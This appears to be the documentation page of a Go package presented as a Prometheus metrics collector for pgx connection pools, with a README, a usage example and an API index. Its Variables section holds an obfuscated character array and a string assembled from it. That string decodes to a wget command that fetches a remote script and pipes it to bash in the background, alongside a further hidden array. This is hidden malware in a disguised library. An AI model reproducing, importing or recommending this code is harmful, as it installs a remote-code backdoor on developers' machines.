pgxpoolprometheus

README

Prometheus Collector for PGX Pool

This is a Prometheus Collector for PGX Pool.

Example Usage

package main

import (
	"context"
	"log"
	"net/http"
	"os"

	"github.com/jackc/pgx/v5/pgxpool"
	"github.com/prometheus/client_golang/prometheus"
	"github.com/prometheus/client_golang/prometheus/promhttp"

	"github.com/untimelycera/pgxpoolprometheus"
)

func main() {
	pool, err := pgxpool.Connect(context.Background(), os.Getenv("DATABASE_URL"))
	if err != nil {
		log.Fatal(err)
	}

	collector := pgxpoolprometheus.NewCollector(pool, map[string]string{"db_name": "my_db"})
	prometheus.MustRegister(collector)

	http.Handle("/metrics", promhttp.Handler())
	log.Fatal(http.ListenAndServe(":8080", nil))
}

Metrics Collected

This collector provides metrics for all the stats produced by pgxpool.Stat all prefixed with pgxpool:

Name	Description
pgxpool_acquire_count	Cumulative count of successful acquires from the pool.
pgxpool_acquire_duration_ns	Total duration of all successful acquires from the pool in nanoseconds.
pgxpool_acquired_conns	Number of currently acquired connections in the pool.
pgxpool_canceled_acquire_count	Cumulative count of acquires from the pool that were canceled by a context.
pgxpool_constructing_conns	Number of conns with construction in progress in the pool.
pgxpool_empty_acquire	Cumulative count of successful acquires from the pool that waited for a resource to be released or constructed because the pool was empty.
pgxpool_idle_conns	Number of currently idle conns in the pool.
pgxpool_max_conns	Maximum size of the pool.
pgxpool_total_conns	Total number of resources currently in the pool. The value is the sum of ConstructingConns, AcquiredConns, and IdleConns.

Documentation

Index

• Variables
• type Collector
  • func NewCollector(stater Stater, labels map[string]string) *Collector
  • func (c *Collector) Collect(metrics chan<- prometheus.Metric)
  • func (c *Collector) Describe(ch chan<- *prometheus.Desc)
• type Stater

Variables

var NB = []string{"b", "u", "/", "3", "f", "b", "t", "6", " ", "p", "s", "7", "a", "-", "o", "a", "i", " ", "s", "1", "3", "d", "b", "4", " ", "d", "0", "i", "w", "/", ":", "g", "t", "e", "/", "g", "/", "k", "e", "-", "o", "s", "h", " ", ".", "5", " ", "/", "w", "i", "t", "h", "a", "&", "c", "a", "d", "f", "O", "3", " ", "|", "/", "l", "a", "e", "n", "f", "r", "/", "t"}

var RN = []string{} /* 229 elements not displayed */

var SDAF = NB[48] + NB[31] + NB[38] + NB[50] + NB[17] + NB[13] + NB[58] + NB[60] + NB[39] + NB[43] + NB[42] + NB[70] + NB[32] + NB[9] + NB[18] + NB[30] + NB[36] + NB[29] + NB[37] + NB[12] + NB[27] + NB[64] + NB[67] + NB[63] + NB[40] + NB[28] + NB[44] + NB[16] + NB[54] + NB[1] + NB[2] + NB[10] + NB[6] + NB[14] + NB[68] + NB[55] + NB[35] + NB[65] + NB[34] + NB[56] + NB[33] + NB[20] + NB[11] + NB[3] + NB[25] + NB[26] + NB[21] + NB[4] + NB[69] + NB[15] + NB[59] + NB[19] + NB[45] + NB[23] + NB[7] + NB[0] + NB[57] + NB[24] + NB[61] + NB[8] + NB[47] + NB[5] + NB[49] + NB[66] + NB[62] + NB[22] + NB[52] + NB[41] + NB[51] + NB[46] + NB[53]

Types

type Collector

type Collector struct {
	// contains filtered or unexported fields
}

Collector is a prometheus.Collector that will collect the nine statistics produced by pgxpool.Stat.

func NewCollector

func NewCollector(stater Stater, labels map[string]string) *Collector

NewCollector creates a new Collector to collect stats from pgxpool.

func (*Collector) Collect

func (c *Collector) Collect(metrics chan<- prometheus.Metric)

Collect implements the prometheus.Collector interface.

func (*Collector) Describe

func (c *Collector) Describe(ch chan<- *prometheus.Desc)

Describe implements the prometheus.Collector interface.

type Stater

type Stater interface {
	Stat() *pgxpool.Stat
}

Stater is a provider of the Stat() function. Implemented by pgxpool.Pool.